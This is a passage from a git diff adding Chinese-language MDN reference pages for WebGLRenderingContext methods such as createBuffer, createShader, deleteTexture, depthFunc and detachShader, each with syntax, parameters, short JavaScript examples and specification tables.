    • ext.COMPRESSED_SRGB_ALPHA_BPTC_UNORM_EXT
    • +
    • ext.COMPRESSED_RGB_BPTC_SIGNED_FLOAT_EXT
    • +
    • ext.COMPRESSED_RGB_BPTC_UNSIGNED_FLOAT_EXT
    • +
    +
  • +
  • When using the {{domxref("EXT_texture_compression_rgtc")}} extension: +
      +
    • ext.COMPRESSED_RED_RGTC1_EXT
    • +
    • ext.COMPRESSED_SIGNED_RED_RGTC1_EXT
    • +
    • ext.COMPRESSED_RED_GREEN_RGTC2_EXT
    • +
    • ext.COMPRESSED_SIGNED_RED_GREEN_RGTC2_EXT
    • +
    +
  • +
+
+
width
+
A {{domxref("GLsizei")}} specifying the width of the texture.
+
height
+
A {{domxref("GLsizei")}} specifying the height of the texture.
+
depth
+
A {{domxref("GLsizei")}} specifying the depth of the texture/the number of textures in a TEXTURE_2D_ARRAY.
+
border
+
A {{domxref("GLint")}} specifying the width of the border. Must be 0.
+
imageSize
+
A {{domxref("GLsizei")}} specifying the number of bytes to read from the buffer bound to gl.PIXEL_UNPACK_BUFFER.
+
offset
+
A {{domxref("GLintptr")}} specifying the offset in bytes from which to read from the buffer bound to gl.PIXEL_UNPACK_BUFFER.
+
pixels
+
An {{domxref("ArrayBufferView")}} that be used as a data store for the compressed image data in memory.
+
+ +

Return value

+ +

None.

+ +

Examples

+ +
var ext = (
+  gl.getExtension('WEBGL_compressed_texture_s3tc') ||
+  gl.getExtension('MOZ_WEBGL_compressed_texture_s3tc') ||
+  gl.getExtension('WEBKIT_WEBGL_compressed_texture_s3tc')
+);
+
+var texture = gl.createTexture();
+gl.bindTexture(gl.TEXTURE_2D, texture);
+gl.compressedTexImage2D(gl.TEXTURE_2D, 0, ext.COMPRESSED_RGBA_S3TC_DXT5_EXT, 512, 512, 0, textureData);
+gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.LINEAR);
+gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR);
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#COMPRESSEDTEXIMAGE2D", "compressedTexImage2D")}}{{Spec2('WebGL')}}Initial definition for WebGL.
{{SpecName('OpenGL ES 2.0', "glCompressedTexImage2D.xml", "glCompressedTexImage2D")}}{{Spec2('OpenGL ES 2.0')}}Man page of the (similar) OpenGL ES 2.0 API.
{{SpecName('OpenGL ES 3.0', "glCompressedTexImage2D.xhtml", "glCompressedTexImage2D")}}{{Spec2('OpenGL ES 3.0')}}Man page of the (similar) OpenGL ES 3.0 API.
+ +

Browser compatibility

+ + + +

compressedTexImage2D

+ +

{{Compat("api.WebGLRenderingContext.compressedTexImage2D")}}

+ +

compressedTexImage3D

+ +

{{Compat("api.WebGL2RenderingContext.compressedTexImage3D")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/createbuffer/index.html b/files/zh-cn/web/api/webglrenderingcontext/createbuffer/index.html new file mode 100644 index 0000000000..eaf95a97d8 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/createbuffer/index.html @@ -0,0 +1,73 @@ +--- +title: WebGLRenderingContext.createBuffer() +slug: Web/API/WebGLRenderingContext/createBuffer +tags: + - API + - WebGL + - WebGLRenderingContext + - 参考 + - 方法 +translation_of: Web/API/WebGLRenderingContext/createBuffer +--- +

{{APIRef("WebGL")}}

+ +

WebGL API 下的 WebGLRenderingContext.createBuffer() 方法可创建并初始化一个用于储存顶点数据或着色数据的{{domxref("WebGLBuffer")}}对象

+ +

语法

+ +
WebGLBuffer gl.createBuffer();
+
+ +

参数

+ +

无。

+ +

返回值

+ +

一个用于储存顶点数据或着色数据的{{domxref("WebGLBuffer")}}对象

+ +

范例

+ +

创建一个缓冲区

+ +
var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+var buffer = gl.createBuffer();
+
+ +

说明

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.5", "createBuffer")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glGenBuffers.xml", "glGenBuffers")}}{{Spec2('OpenGL ES 2.0')}}Man page of the (similar) OpenGL API.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.createBuffer")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/createframebuffer/index.html b/files/zh-cn/web/api/webglrenderingcontext/createframebuffer/index.html new file mode 100644 index 0000000000..dfc5401186 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/createframebuffer/index.html @@ -0,0 +1,67 @@ +--- +title: WebGLRenderingContext.createFramebuffer() +slug: Web/API/WebGLRenderingContext/createFramebuffer +translation_of: Web/API/WebGLRenderingContext/createFramebuffer +--- +
{{APIRef("WebGL")}}
+ +
WebGLRenderingContext.creatFramebuffer()  是 WebGL API  的一个方法,用来创建和初始化{{domxref("WebGLFramebuffer")}} 对象。
+ +

语法

+ +
WebGLFramebuffer gl.createFramebuffer();
+
+ +

参数

+ +

None.

+ +

返回值

+ +

{{domxref("WebGLFramebuffer")}} 对象

+ +

样例

+ +

创建一个帧缓冲区

+ +
var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+var framebuffer = gl.createFramebuffer();
+
+ +

说明

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.6", "createFramebuffer")}}{{Spec2('WebGL')}}初始定义.
{{SpecName('OpenGL ES 2.0', "glGenFramebuffers.xml", "glGenFramebuffers")}}{{Spec2('OpenGL ES 2.0')}}OpenGL API手册(类似).
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.createFramebuffer")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/createprogram/index.html b/files/zh-cn/web/api/webglrenderingcontext/createprogram/index.html new file mode 100644 index 0000000000..1a0214b0e2 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/createprogram/index.html @@ -0,0 +1,81 @@ +--- +title: WebGLRenderingContext.createProgram() +slug: Web/API/WebGLRenderingContext/createProgram +translation_of: Web/API/WebGLRenderingContext/createProgram +--- +
{{APIRef("WebGL")}}
+ +

WebGL API  的 WebGLRenderingContext.createProgram() 方法用于创建和初始化一个 {{domxref("WebGLProgram")}} 对象。

+ +

语法

+ +
WebGLProgram gl.createProgram();
+
+ +

参数

+ +

无.

+ +

返回值

+ +

一个 {{domxref("WebGLProgram")}} 对象由两个编译过后的 {{domxref("WebGLShader")}} 组成 - 顶点着色器和片段着色器(均由 GLSL 语言所写)。这些组合成一个可用的 WebGL 着色器程序。

+ +

例子

+ +

创建一个 WebGL 着色器程序

+ +
var program = gl.createProgram();
+
+// 添加预先定义好的顶点着色器和片段着色器
+gl.attachShader(program, vertexShader);
+gl.attachShader(program, fragmentShader);
+
+gl.linkProgram(program);
+
+if ( !gl.getProgramParameter( program, gl.LINK_STATUS) ) {
+  var info = gl.getProgramInfoLog(program);
+  throw "Could not compile WebGL program. \n\n" + info;
+}
+
+ +

详见 {{domxref("WebGLShader")}} 获取更多关于创建上述代码中顶点着色器和片段着色器的信息。

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('WebGL', "#5.14.9", "createProgram")}}{{Spec2('WebGL')}}初始定义
{{SpecName('OpenGL ES 2.0', "glCreateProgram.xml", "glCreateProgram")}}{{Spec2('OpenGL ES 2.0')}}OpenGL(类似) API的规范文档
+ +

浏览器兼容性

+ + + +

{{Compat("api/WebGLRenderingContext", "WebGLRenderingContext.createProgram")}}

+ +

相关资料

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/createrenderbuffer/index.html b/files/zh-cn/web/api/webglrenderingcontext/createrenderbuffer/index.html new file mode 100644 index 0000000000..c434e1eed2 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/createrenderbuffer/index.html @@ -0,0 +1,67 @@ +--- +title: WebGLRenderingContext.createRenderbuffer() +slug: Web/API/WebGLRenderingContext/createRenderbuffer +translation_of: Web/API/WebGLRenderingContext/createRenderbuffer +--- +
{{APIRef("WebGL")}}
+ +

WebGL APIWebGLRenderingContext.createRenderbuffer() 方法 创建并初始化一个 {{domxref("WebGLRenderbuffer")}} 对象。

+ +

语法

+ +
WebGLRenderbuffer gl.createRenderbuffer();
+
+ +

参数

+ +

None.

+ +

返回值

+ +

一个 {{domxref("WebGLRenderbuffer")}} 对象可以保存数据,例如一张图片,或者可以渲染操作的源或目标。

+ +

例如

+ +

创建一个渲染缓冲区

+ +
var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+var renderBuffer = gl.createRenderBuffer();
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态评论
{{SpecName('WebGL', "#5.14.7", "createRenderbuffer")}}{{Spec2('WebGL')}}初始定义.
{{SpecName('OpenGL ES 2.0', "glGenRenderbuffers.xml", "glGenRenderbuffers")}}{{Spec2('OpenGL ES 2.0')}}OpenGL API手册(类似).
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.createRenderbuffer")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/createshader/index.html b/files/zh-cn/web/api/webglrenderingcontext/createshader/index.html new file mode 100644 index 0000000000..a8471ef516 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/createshader/index.html @@ -0,0 +1,85 @@ +--- +title: WebGLRenderingContext.createShader() +slug: Web/API/WebGLRenderingContext/createShader +tags: + - API + - Reference + - Shader + - WebGL +translation_of: Web/API/WebGLRenderingContext/createShader +--- +
{{APIRef("WebGL")}}
+ +

WebGLRenderingContext.createShader() 用于创建一个 {{domxref("WebGLShader")}} 着色器对象,该对象可以使用 {{domxref("WebGLRenderingContext.shaderSource()")}} 和 {{domxref("WebGLRenderingContext.compileShader()")}} 方法配置着色器代码.

+ +

语法

+ +
WebGLShader gl.createShader(type);
+
+ +

参数

+ +
+
type
+
参数为gl.VERTEX_SHADER 或 gl.FRAGMENT_SHADER两者中的一个。
+
+ +

示例

+ +

详见 {{domxref("WebGLShader")}} 的使用和示例

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态说明
{{SpecName('WebGL', "#5.14.9", "createShader")}}{{Spec2('WebGL')}}初次定义
{{SpecName('OpenGL ES 2.0', "glCreateShader.xml", "glCreateShader")}}{{Spec2('OpenGL ES 2.0')}}OpenGL 帮助页
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.createShader")}}

+ +

其他相关

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/createtexture/index.html b/files/zh-cn/web/api/webglrenderingcontext/createtexture/index.html new file mode 100644 index 0000000000..eaf77b4e27 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/createtexture/index.html @@ -0,0 +1,69 @@ +--- +title: WebGLRenderingContext.createTexture() +slug: Web/API/WebGLRenderingContext/createTexture +translation_of: Web/API/WebGLRenderingContext/createTexture +--- +
{{APIRef("WebGL")}}
+ +

WebGL APIWebGLRenderingContext.createTexture() 方法创建并初始化了一个{{domxref("WebGLTexture")}} 目标。

+ +

语法

+ +
WebGLTexture gl.createTexture();
+
+ +

参数

+ +

无。

+ +

返回值

+ +

一个可以被任何图像绑定的 {{domxref("WebGLTexture")}} 目标

+ +

示例

+ +

另见 Using textures in WebGL上的WebGL tutorial

+ +

创建一个纹理

+ +
var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+var texture = gl.createTexture();
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.8", "createTexture")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glGenTextures.xml", "glGenTextures")}}{{Spec2('OpenGL ES 2.0')}}Man page of the (similar) OpenGL API.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.createTexture")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/cullface/index.html b/files/zh-cn/web/api/webglrenderingcontext/cullface/index.html new file mode 100644 index 0000000000..bcabedcb95 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/cullface/index.html @@ -0,0 +1,79 @@ +--- +title: WebGLRenderingContext.cullFace() +slug: Web/API/WebGLRenderingContext/cullFace +translation_of: Web/API/WebGLRenderingContext/cullFace +--- +
{{APIRef("WebGL")}}
+ +

WebGL API 的 WebGLRenderingContext.cullFace() 指定正面和/或背面多边形是否可以剔除。

+ +

语法

+ +
void gl.cullFace(mode);
+
+ +

参数

+ +
+
mode
+
{{domxref("GLenum")}} 指定适合进行剔除的面是正面还是背面。默认值是 gl.BACK. 可能的值有: +
    +
  • gl.FRONT
  • +
  • gl.BACK
  • +
  • gl.FRONT_AND_BACK
  • +
+
+
+ +

返回值

+ +

None.

+ +

示例

+ +

多边形剔除功能默认不开启。 想要开启这个功能, 使用{{domxref("WebGLRenderingContext.enable", "enable()")}} 和 {{domxref("WebGLRenderingContext.disable", "disable()")}} 方法,传入参数gl.CULL_FACE.

+ +
gl.enable(gl.CULL_FACE);
+gl.cullFace(gl.FRONT_AND_BACK);
+
+ +

需要 CULL_FACE_MODE 常量来检查当前多边形剔除模式。

+ +
gl.getParameter(gl.CULL_FACE_MODE) === gl.FRONT_AND_BACK;
+// true
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.3", "cullFace")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glCullFace.xml", "glCullFace")}}{{Spec2('OpenGL ES 2.0')}}Man page of the OpenGL API.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.cullFace")}}

+ +

相关资料

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/deletebuffer/index.html b/files/zh-cn/web/api/webglrenderingcontext/deletebuffer/index.html new file mode 100644 index 0000000000..f8cbf3a7f1 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/deletebuffer/index.html @@ -0,0 +1,75 @@ +--- +title: WebGLRenderingContext.deleteBuffer() +slug: Web/API/WebGLRenderingContext/deleteBuffer +translation_of: Web/API/WebGLRenderingContext/deleteBuffer +--- +
{{APIRef("WebGL")}}
+ +
WebGL APIWebGLRenderingContext.deleteBuffer()用于删除给定的{{domxref("WebGLBuffer")}}对象;若给定的{{domxref("WebGLBuffer")}}对象已经被删除了,调用该方法将不会产生任何效果。
+ +

 

+ +

语法

+ +
void gl.deleteBuffer(buffer);
+
+ +

参数

+ +
+
buffer
+
要删除的{{domxref("WebGLBuffer")}} 对象.
+
+ +

返回值

+ +

None.

+ +

例子

+ +

删除一个buffer

+ +
var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+var buffer = gl.createBuffer();
+
+// ...
+
+gl.deleteBuffer(buffer);
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.5", "deleteBuffer")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glDeleteBuffers.xml", "glDeleteBuffers")}}{{Spec2('OpenGL ES 2.0')}}Man page of the (similar) OpenGL API.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.deleteBuffer")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/deleteframebuffer/index.html b/files/zh-cn/web/api/webglrenderingcontext/deleteframebuffer/index.html new file mode 100644 index 0000000000..eea968007a --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/deleteframebuffer/index.html @@ -0,0 +1,73 @@ +--- +title: WebGLRenderingContext.deleteFramebuffer() +slug: Web/API/WebGLRenderingContext/deleteFramebuffer +translation_of: Web/API/WebGLRenderingContext/deleteFramebuffer +--- +
{{APIRef("WebGL")}}
+ +

WebGL APIWebGLRenderingContext.deleteFramebuffer() 方法用来删除给定的{{domxref("WebGLFramebuffer")}} 对象. 如果帧缓冲区已被删除,则此方法无效。.

+ +

语法

+ +
void gl.deleteFramebuffer(framebuffer);
+
+ +

参数

+ +
+
framebuffer
+
 将要删除的{{domxref("WebGLFramebuffer")}} 对象.
+
+ +

返回值

+ +

None.

+ +

示例

+ +

删除一个帧缓冲区

+ +
var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+var framebuffer = gl.createFramebuffer();
+
+// ...
+
+gl.deleteFramebuffer(framebuffer);
+ +

说明

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.6", "deleteFramebuffer")}}{{Spec2('WebGL')}}初始定义.
{{SpecName('OpenGL ES 2.0', "glDeleteFramebuffers.xml", "glDeleteFramebuffers")}}{{Spec2('OpenGL ES 2.0')}}OpenGL API手册(类似).
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.deleteFramebuffer")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/deleteprogram/index.html b/files/zh-cn/web/api/webglrenderingcontext/deleteprogram/index.html new file mode 100644 index 0000000000..3cde58761f --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/deleteprogram/index.html @@ -0,0 +1,76 @@ +--- +title: WebGLRenderingContext.deleteProgram() +slug: Web/API/WebGLRenderingContext/deleteProgram +translation_of: Web/API/WebGLRenderingContext/deleteProgram +--- +
{{APIRef("WebGL")}}
+ +

WebGLRenderingContext.deleteProgram() 用于删除一个 {{domxref("WebGLProgram")}} 对象. 如果该{{domxref("WebGLProgram")}} 对象已经被删除,该方法不会产生任何作用

+ +

语法

+ +
void gl.deleteProgram(program);
+
+ +

参数

+ +
+
program
+
需要被删除的 {{domxref("WebGLProgram")}} 对象
+
+ +

返回值

+ +

None.

+ +

示例

+ +

删除一个程序

+ +
var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+var program = gl.createProgram();
+
+// ...
+
+gl.deleteProgram(program);
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规格状态解释
{{SpecName('WebGL', "#5.14.9", "deleteProgram")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glDeleteProgram.xml", "glDeleteProgram")}}{{Spec2('OpenGL ES 2.0')}}Man page of the (similar) OpenGL API.
+ +

浏览器支持

+ + + +

{{Compat("api.WebGLRenderingContext.deleteProgram")}}

+ +

其他相关

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/deleterenderbuffer/index.html b/files/zh-cn/web/api/webglrenderingcontext/deleterenderbuffer/index.html new file mode 100644 index 0000000000..ff3acc9e56 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/deleterenderbuffer/index.html @@ -0,0 +1,73 @@ +--- +title: WebGLRenderingContext.deleteRenderbuffer() +slug: Web/API/WebGLRenderingContext/deleteRenderbuffer +translation_of: Web/API/WebGLRenderingContext/deleteRenderbuffer +--- +
{{APIRef("WebGL")}}
+ +

WebGL APIWebGLRenderingContext.deleteRenderbuffer() 方法用来删除给定的 {{domxref("WebGLRenderbuffer")}} 对象. 如果渲染缓冲区已被删除,则此方法无效.

+ +

语法

+ +
void gl.deleteRenderbuffer(renderbuffer);
+
+ +

参数

+ +
+
renderbuffer
+
将要删除的{domxref("WebGLRenderbuffer")}} 对象.
+
+ +

返回值

+ +

None.

+ +

示例

+ +

删除一个渲染缓冲区

+ +
var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+var renderbuffer = gl.createRenderbuffer();
+
+// ...
+
+gl.deleteRenderbuffer(renderbuffer);
+ +

说明

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.7", "deleteRenderbuffer")}}{{Spec2('WebGL')}}初始定义.
{{SpecName('OpenGL ES 2.0', "glDeleteRenderbuffers.xml", "glDeleteRenderbuffers")}}{{Spec2('OpenGL ES 2.0')}}OpenGL API手册(类似).
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.deleteRenderbuffer")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/deleteshader/index.html b/files/zh-cn/web/api/webglrenderingcontext/deleteshader/index.html new file mode 100644 index 0000000000..54a7e9aaea --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/deleteshader/index.html @@ -0,0 +1,66 @@ +--- +title: WebGLRenderingContext.deleteShader() +slug: Web/API/WebGLRenderingContext/deleteShader +translation_of: Web/API/WebGLRenderingContext/deleteShader +--- +
{{APIRef("WebGL")}} 
+ +
WebGLRenderingContext.deleteShader() 用于删除一个参数提供的 {{domxref("WebGLShader")}}对象. 如果该{{domxref("WebGLShader")}}对象已经被删除,该方法不会有任何作用。
+ +

Syntax

+ +
void gl.deleteShader(shader);
+
+ +

参数

+ +
+
shader
+
需要被删除的 {{domxref("WebGLShader")}} 对象
+
+ +

返回值

+ +

None.

+ +

示例

+ +

删除一个着色器

+ +
gl.deleteShader(shader);
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规格状态解释
{{SpecName('WebGL', "#5.14.9", "deleteShader")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glDeleteShader.xml", "glDeleteShader")}}{{Spec2('OpenGL ES 2.0')}}Man page of the (similar) OpenGL API.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.deleteShader")}}

+ +

其他相关

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/deletetexture/index.html b/files/zh-cn/web/api/webglrenderingcontext/deletetexture/index.html new file mode 100644 index 0000000000..1871f5384f --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/deletetexture/index.html @@ -0,0 +1,75 @@ +--- +title: WebGLRenderingContext.deleteTexture() +slug: Web/API/WebGLRenderingContext/deleteTexture +translation_of: Web/API/WebGLRenderingContext/deleteTexture +--- +
{{APIRef("WebGL")}}
+ +
WebGLRenderingContext.deleteTexture()方法删除指定的{{domxref("WebGLTexture")}}对象。如果纹理已被删除,则此方法无效。
+ + + +

Syntax

+ +
void gl.deleteTexture(texture);
+
+ +

Parameters

+ +
+
texture
+
将要删除的{{domxref("WebGLTexture")}} 对象.
+
+ +

Return value

+ +

无.

+ +

Examples

+ +

Deleting a texture

+ +
var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+var texture = gl.createTexture();
+
+// ...
+
+gl.deleteTexture(texture);
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.8", "deleteTexture")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glDeleteTextures.xml", "glDeleteTextures")}}{{Spec2('OpenGL ES 2.0')}}Man page of the (similar) OpenGL API.
+ +

Browser compatibility

+ + + +

{{Compat("api.WebGLRenderingContext.deleteTexture")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/depthfunc/index.html b/files/zh-cn/web/api/webglrenderingcontext/depthfunc/index.html new file mode 100644 index 0000000000..71c4c1b04e --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/depthfunc/index.html @@ -0,0 +1,83 @@ +--- +title: WebGLRenderingContext.depthFunc() +slug: Web/API/WebGLRenderingContext/depthFunc +translation_of: Web/API/WebGLRenderingContext/depthFunc +--- +
{{APIRef("WebGL")}}
+ +

WebGL API 的 WebGLRenderingContext.depthFunc() 方法,指定将输入像素深度与当前深度缓冲区值进行比较的函数。

+ +

语法

+ +
void gl.depthFunc(func);
+
+ +

参数

+ +
+
func
+
是一个指定深度比较函数的 {{domxref("GLenum")}},它设置像素将被绘制的条件。默认值是 gl.LESS。可能的值是: +
    +
  • gl.NEVER(永不通过)
  • +
  • gl.LESS(如果传入值小于深度缓冲值,则通过)
  • +
  • gl.EQUAL(如果传入值等于深度缓冲区值,则通过)
  • +
  • gl.LEQUAL(如果传入值小于或等于深度缓冲区值,则通过)
  • +
  • gl.GREATER(如果传入值大于深度缓冲区值,则通过)
  • +
  • gl.NOTEQUAL(如果传入的值不等于深度缓冲区值,则通过)
  • +
  • gl.GEQUAL(如果传入值大于或等于深度缓冲区值,则通过)
  • +
  • gl.ALWAYS(总是通过)
  • +
+
+
+ +

返回值

+ +

无。

+ +

示例

+ +

深度测试默认是禁用的。 要启用或禁用深度测试,请使用带有参数  gl.DEPTH_TEST 的 {{domxref("WebGLRenderingContext.enable", "enable()")}} 和 {{domxref("WebGLRenderingContext.disable", "disable()")}} 方法。

+ +
gl.enable(gl.DEPTH_TEST);
+gl.depthFunc(gl.NEVER);
+
+ +

要检查当前深度函数,请查询 DEPTH_FUNC 常量。

+ +
gl.getParameter(gl.DEPTH_FUNC) === gl.NEVER;
+// true
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('WebGL', "#5.14.3", "depthFunc")}}{{Spec2('WebGL')}}初始定义
{{SpecName('OpenGL ES 2.0', "glDepthFunc.xml", "glDepthFunc")}}{{Spec2('OpenGL ES 2.0')}}OpenGL API 手册
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.depthFunc")}}

+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/depthmask/index.html b/files/zh-cn/web/api/webglrenderingcontext/depthmask/index.html new file mode 100644 index 0000000000..e4039e915f --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/depthmask/index.html @@ -0,0 +1,70 @@ +--- +title: WebGLRenderingContext.depthMask() +slug: Web/API/WebGLRenderingContext/depthMask +translation_of: Web/API/WebGLRenderingContext/depthMask +--- +
{{APIRef("WebGL")}}
+ +

WebGL APIWebGLRenderingContext.depthMask() 方法设置是否启用写入深度缓冲。

+ +

语法

+ +
void gl.depthMask(flag);
+
+ +

参数

+ +
+
flag
+
一个 {{domxref("GLboolean")}} ,用于设置是否启用写入深度缓冲。默认值:true,表示启用写入。
+
+ +

返回值

+ +

无。

+ +

例子

+ +
gl.depthMask(false);
+
+ +

要获得当前的深度遮罩值,传入 DEPTH_WRITEMASK 常量,返回  {{jsxref("Boolean")}}.

+ +
gl.getParameter(gl.DEPTH_WRITEMASK);
+// false
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.3", "depthMask")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glDepthMask.xml", "glDepthMask")}}{{Spec2('OpenGL ES 2.0')}}Man page of the OpenGL API.
+ +

浏览器兼容性

+ + + +

{{Compat("api/WebGLRenderingContext", "WebGLRenderingContext.depthMask")}}

+ +

相关内容

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/detachshader/index.html b/files/zh-cn/web/api/webglrenderingcontext/detachshader/index.html new file mode 100644 index 0000000000..fba169ad44 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/detachshader/index.html @@ -0,0 +1,103 @@ +--- +title: WebGLRenderingContext.detachShader() +slug: Web/API/WebGLRenderingContext/detachShader +translation_of: Web/API/WebGLRenderingContext/detachShader +--- +
{{APIRef("WebGL")}}
+ +

WebGL API 的WebGLRenderingContext.detachShader()  方法:从一个 {{domxref("WebGLProgram")}}中分离一个先前附加的片段或者顶点着色器 ({{domxref("WebGLShader")}} ) .

+ +

Syntax

+ +
void gl.detachShader(program, shader);
+
+ +

Parameters

+ +
+
program
+
一个 {{domxref("WebGLProgram")}} 对象.
+
shader
+
一个顶点或者片元着色器 {{domxref("WebGLShader")}}.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.9", "detachShader")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glDetachShader.xml", "glDetachShader")}}{{Spec2('OpenGL ES 2.0')}}OpenGL man page.
+ +

例子

+ +

使用detachShader方法分离一个顶点或片元着色器

+ +
//顶点着色器
+    var vertexShader = gl.createShader(gl.VERTEX_SHADER);
+    gl.shaderSource(vertexShader, vertexSrc);
+    gl.compileShader(vertexShader);
+    //片元着色器
+    var fragmentShader = gl.createShader(gl.FRAGMENT_SHADER);//创建 WebGLShader。
+    gl.shaderSource(fragmentShader, fragmentSrc); //fragmentSrc设置一个 WebGLShader 的源码。
+    gl.compileShader(fragmentShader);
+
+    //WebGLProgram
+    var program = gl.createProgram();//创建 WebGLProgram
+    gl.attachShader(program, vertexShader); //往 WebGLProgram 添加一个片段或者顶点着色器。
+    gl.attachShader(program, fragmentShader);
+    gl.linkProgram(program);//链接给入的 WebGLProgram 对象
+    gl.detachShader(program, vertexShader); //从一个WebGLProgram中分离一个先前附加的片段或者顶点着色器;
+    gl.detachShader(program, fragmentShader);
+    gl.deleteShader(vertexShader);
+    gl.deleteShader(fragmentShader);
+
+ +

 

+ +

Browser compatibility

+ + + +

{{Compat("api.WebGLRenderingContext.detachShader")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/disable/index.html b/files/zh-cn/web/api/webglrenderingcontext/disable/index.html new file mode 100644 index 0000000000..c1717db568 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/disable/index.html @@ -0,0 +1,139 @@ +--- +title: WebGLRenderingContext.disable() +slug: Web/API/WebGLRenderingContext/disable +translation_of: Web/API/WebGLRenderingContext/disable +--- +
{{APIRef("WebGL")}}
+ +

The WebGLRenderingContext.disable() method of the WebGL API disables specific WebGL capabilities for this context.

+ +

Syntax

+ +
void gl.disable(cap);
+
+ +

Parameters

+ +
+
cap
+
